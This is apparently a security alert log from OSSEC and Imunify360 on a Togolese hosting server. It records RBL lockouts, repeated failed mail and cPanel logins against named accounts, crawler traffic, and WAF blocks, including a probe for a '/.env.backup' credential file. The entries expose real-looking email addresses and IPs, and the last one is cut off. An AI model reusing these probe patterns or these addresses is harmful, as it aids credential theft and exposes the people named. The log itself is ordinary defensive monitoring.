rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.83.142.110
country_id: 732800
description:
Jun  9 16:51:37 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.83.142.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jun  9 16:51:12 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:52:11 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:9089: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:53:12 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:9090: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:54:19 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:21249: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.151
country_id: 1880251
description:
47.128.96.151 - - [09/Jun/2026:16:54:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132887&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpato-kpatcha%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024075 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pato-kpatcha/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.151


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:16:55:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987989&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F6-soldats-tuees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024113 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/6-soldats-tuees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.179
country_id: 1880251
description:
47.128.96.179 - - [09/Jun/2026:16:55:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775964&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fecoles-clandestines-fermees-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024120 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ecoles-clandestines-fermees-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.179


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.20
country_id: 1880251
description:
47.128.96.20 - - [09/Jun/2026:16:55:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251422&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjoanna-agudetse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024128 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/joanna-agudetse/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 16:56:04 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [09/Jun/2026:16:56:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261913&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fresultats-du-bac-i%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024177 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/resultats-du-bac-i/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.127.246.57
country_id: 130758
description:
2026-06-09 16:58:04 H=([5.127.246.57]) [5.127.246.57]:42627 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [09/Jun/2026:16:57:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121161&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvolontaires-des-nations-unies%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024242 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/volontaires-des-nations-unies/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [09/Jun/2026:16:57:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077809&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-pieton-percute-par-un-camion%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024260 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-pieton-percute-par-un-camion/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [09/Jun/2026:16:57:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181414&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsenegal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024228 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/senegal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:16:58:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593757&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-tax-laws%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024311 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-tax-laws/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [09/Jun/2026:16:58:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066795&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024319 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [09/Jun/2026:16:59:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13332378&pdata=https%253A%252F%252Ftdn.tg%252Facheter-un-terrain-securise-et-construire-sa-maison-au-togo-le-fortim21-veut-proteger-les-consommateurs-contre-les-arnaques-et-escroqueries%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024343 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/acheter-un-terrain-securise-et-construire-sa-maison-au-togo-le-fortim21-veut-proteger-les-consommateurs-contre-les-arnaques-et-escroqueries/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [09/Jun/2026:16:58:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989481&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F6-soldats-tuees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024298 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/6-soldats-tuees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.215
country_id: 130758
description:
Jun  9 16:59:34 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.215 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [09/Jun/2026:16:59:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856359&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024374 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [09/Jun/2026:17:00:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987178&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Futilisation-des-eleves-pour-des-travaux-champetres-et-autres-corvees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024400 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/utilisation-des-eleves-pour-des-travaux-champetres-et-autres-corvees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [09/Jun/2026:16:59:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235997&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvol-de-compteur-deau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024367 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vol-de-compteur-deau/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.82.245.113
country_id: 3625428
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/objectif HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 17:00:11 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [09/Jun/2026:17:00:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185833&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feglise-evangelique-presbyterienne-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024437 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eglise-evangelique-presbyterienne-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.1
country_id: 1880251
description:
47.128.122.1 - - [09/Jun/2026:17:00:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986142&pdata=https%253A%252F%252Ftogodailynews.tg%252Fkayi-mivedor-sambiani-sassure-du-demarrage-effectif-des-activites-du-marche-centrale-de-kpalime%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024456 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/kayi-mivedor-sambiani-sassure-du-demarrage-effectif-des-activites-du-marche-centrale-de-kpalime/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [09/Jun/2026:17:01:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725030&pdata=http%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253Dinfo%2540matosshop.tg%2526id%253DmmFq1esEHopkOzTGkUZi0-1781022751&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024467 HTTP/1.1" 302 0 www.matosshop.tg "http://www.matosshop.tg/cgi-sys/bxd.cgi?a=info@matosshop.tg&id=mmFq1esEHopkOzTGkUZi0-1781022751" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [09/Jun/2026:17:01:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7180900&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-specialisee-dans-le-financement-du-secteur-agricole%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024494 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-specialisee-dans-le-financement-du-secteur-agricole/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [09/Jun/2026:17:01:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198956&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-specialisee-dans-le-financement-du-secteur-agricole%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024501 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-specialisee-dans-le-financement-du-secteur-agricole/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [09/Jun/2026:17:01:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052740&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-femme-leader-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024514 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-femme-leader-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.79
country_id: 2661886
description:
Jun  9 17:01:51 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.79
country_id: 2661886
description:
2026-06-09 17:01:53 dovecot_plain authenticator failed for H=tor-exit-read-me.dfri.se (n3umcccwbefvjmkstui) [171.25.193.79]:5242: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [09/Jun/2026:17:02:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104413&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbourses-et-allocation-au-bein%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024565 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bourses-et-allocation-au-bein/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.115
country_id: 1880251
description:
47.128.122.115 - - [09/Jun/2026:17:03:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274457&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-31-morts-dans-des-attaques-terroristes-en-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024583 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-31-morts-dans-des-attaques-terroristes-en-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [09/Jun/2026:17:03:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9674139&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbourses-et-allocation-au-bein%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024622 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bourses-et-allocation-au-bein/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.106.155.11
country_id: 798544
description:
Jun  9 17:03:27 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.106.155.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.189.165.22
country_id: 1668284
domain: ekinamag.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kfandonougbo@caissederetraites.tg [06/09/2026:17:04:56 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kfandonougbo@caissederetraites.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jun  9 17:04:51 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-09 17:04:49 +0000] info [webmaild] 160.242.195.10 - kfandonougbo@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [09/Jun/2026:17:05:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790827&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdebut-des-inscriptions-a-luniversite-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024736 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/debut-des-inscriptions-a-luniversite-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.237.47.214
country_id: 3996063
description:
Jun  9 17:06:44 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.237.47.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-06-09 17:06:46 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:47317: 535 Incorrect authentication data (set_id=marketing@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [09/Jun/2026:17:07:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081189&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsucre-blanc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024852 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sucre-blanc/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 17:07:46 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:6657: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [09/Jun/2026:17:08:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316904&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F6-soldats-tuees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024891 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/6-soldats-tuees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 17:08:26 +0000] info [cpaneld] 102.54.238.57 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [09/Jun/2026:17:08:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870275&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdr-keke-kodjo-gamele%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024931 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dr-keke-kodjo-gamele/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [09/Jun/2026:17:09:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185363&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuel-adebayor-et-santrinos-raphael%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781024994 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuel-adebayor-et-santrinos-raphael/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.180.40.197
country_id: 2361809
description:
2026-06-09 17:10:15 H=([102.180.40.197]) [102.180.40.197]:9233 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
